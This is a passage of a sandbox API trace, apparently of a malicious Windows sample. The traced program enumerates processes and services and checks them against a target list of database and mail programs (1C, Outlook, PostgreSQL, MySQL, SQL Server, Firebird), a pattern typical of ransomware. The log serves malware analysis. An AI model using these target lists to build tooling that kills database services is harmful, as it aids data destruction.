	[0091.816] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0091.816] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0091.816] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0091.816] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0091.817] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0091.817] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0091.817] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0091.817] lstrlenW (lpString="wininit.exe") returned 11
	[0091.817] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0091.817] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0091.818] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0091.818] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0091.818] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0091.818] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0091.818] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0091.818] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0091.819] lstrlenW (lpString="csrss.exe") returned 9
	[0091.819] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0091.819] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0091.819] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0091.819] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0091.819] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0091.819] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0091.819] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0091.820] lstrlenW (lpString="winlogon.exe") returned 12
	[0091.820] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0091.821] lstrlenW (lpString="services.exe") returned 12
	[0091.821] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0091.822] lstrlenW (lpString="lsass.exe") returned 9
	[0091.822] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0091.823] lstrlenW (lpString="lsm.exe") returned 7
	[0091.823] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.824] lstrlenW (lpString="svchost.exe") returned 11
	[0091.824] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.825] lstrlenW (lpString="svchost.exe") returned 11
	[0091.825] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.825] lstrlenW (lpString="svchost.exe") returned 11
	[0091.825] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.826] lstrlenW (lpString="svchost.exe") returned 11
	[0091.826] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.827] lstrlenW (lpString="svchost.exe") returned 11
	[0091.827] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0091.828] lstrlenW (lpString="audiodg.exe") returned 11
	[0091.828] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.829] lstrlenW (lpString="svchost.exe") returned 11
	[0091.829] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.830] lstrlenW (lpString="svchost.exe") returned 11
	[0091.830] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0091.831] lstrlenW (lpString="dwm.exe") returned 7
	[0091.831] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0091.832] lstrlenW (lpString="explorer.exe") returned 12
	[0091.832] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0091.832] lstrlenW (lpString="spoolsv.exe") returned 11
	[0091.832] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0091.833] lstrlenW (lpString="taskhost.exe") returned 12
	[0091.833] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.834] lstrlenW (lpString="svchost.exe") returned 11
	[0091.834] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0091.835] lstrlenW (lpString="taskeng.exe") returned 11
	[0091.835] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0091.836] lstrlenW (lpString="taskhost.exe") returned 12
	[0091.836] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0091.837] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0091.837] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0092.001] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0092.001] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0092.002] lstrlenW (lpString="zoo.exe") returned 7
	[0092.002] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0092.003] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0092.003] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0092.004] lstrlenW (lpString="determined.exe") returned 14
	[0092.004] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0092.005] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0092.005] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0092.006] lstrlenW (lpString="hansen mails.exe") returned 16
	[0092.006] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0092.007] lstrlenW (lpString="choirsas.exe") returned 12
	[0092.007] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0092.008] lstrlenW (lpString="skirt_races.exe") returned 15
	[0092.008] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0092.008] lstrlenW (lpString="actors_radius.exe") returned 17
	[0092.008] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0092.010] lstrlenW (lpString="scheduling.exe") returned 14
	[0092.010] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0092.010] lstrlenW (lpString="michael.exe") returned 11
	[0092.010] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0092.012] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0092.012] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0092.012] lstrlenW (lpString="pleasure.exe") returned 12
	[0092.013] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0092.013] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0092.013] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0092.014] lstrlenW (lpString="electron.exe") returned 12
	[0092.014] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0092.015] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0092.015] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0092.016] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0092.016] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0092.017] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0092.017] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0092.018] lstrlenW (lpString="pointer.exe") returned 11
	[0092.018] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0092.019] lstrlenW (lpString="gd logos.exe") returned 12
	[0092.019] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0092.020] lstrlenW (lpString="algebra validity.exe") returned 20
	[0092.020] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0092.023] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0092.023] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0092.024] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0092.024] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0092.025] lstrlenW (lpString="dllhost.exe") returned 11
	[0092.025] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0092.026] lstrlenW (lpString="dllhost.exe") returned 11
	[0092.026] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0092.027] lstrlenW (lpString="p.exe") returned 5
	[0092.027] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0092.028] lstrlenW (lpString="cmd.exe") returned 7
	[0092.028] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0092.029] lstrlenW (lpString="conhost.exe") returned 11
	[0092.029] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0092.029] CloseHandle (hObject=0x1ac) returned 1
	[0092.030] Sleep (dwMilliseconds=0x1f4) 
	[0093.284] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0a38
	[0093.284] EnumServicesStatusExW (in: hSCManager=0x35d0a38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0093.284] GetLastError () returned 0xea
	[0093.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x4ee030
	[0093.284] EnumServicesStatusExW (in: hSCManager=0x35d0a38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4ee030, cbBufSize=0x11e4, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4ee030, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0093.285] CloseServiceHandle (hSCObject=0x35d0a38) returned 1
	[0093.285] lstrlenW (lpString="Appinfo") returned 7
	[0093.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0093.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0093.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0093.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0093.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0093.285] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0093.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0093.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0093.285] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0093.285] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0093.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0093.285] lstrlenW (lpString="AudioSrv") returned 8
	[0093.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0093.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0093.285] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0093.286] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0093.286] lstrlenW (lpString="BFE") returned 3
	[0093.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0093.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0093.286] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0093.286] lstrlenW (lpString="CryptSvc") returned 8
	[0093.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0093.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0093.286] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0093.286] lstrlenW (lpString="CscService") returned 10
	[0093.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0093.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0093.286] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0093.286] lstrlenW (lpString="DcomLaunch") returned 10
	[0093.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0093.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0093.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0093.286] lstrlenW (lpString="Dhcp") returned 4
	[0093.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0093.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0093.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0093.286] lstrlenW (lpString="Dnscache") returned 8
	[0093.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0093.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0093.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0093.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0093.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0093.287] lstrlenW (lpString="DPS") returned 3
	[0093.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0093.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
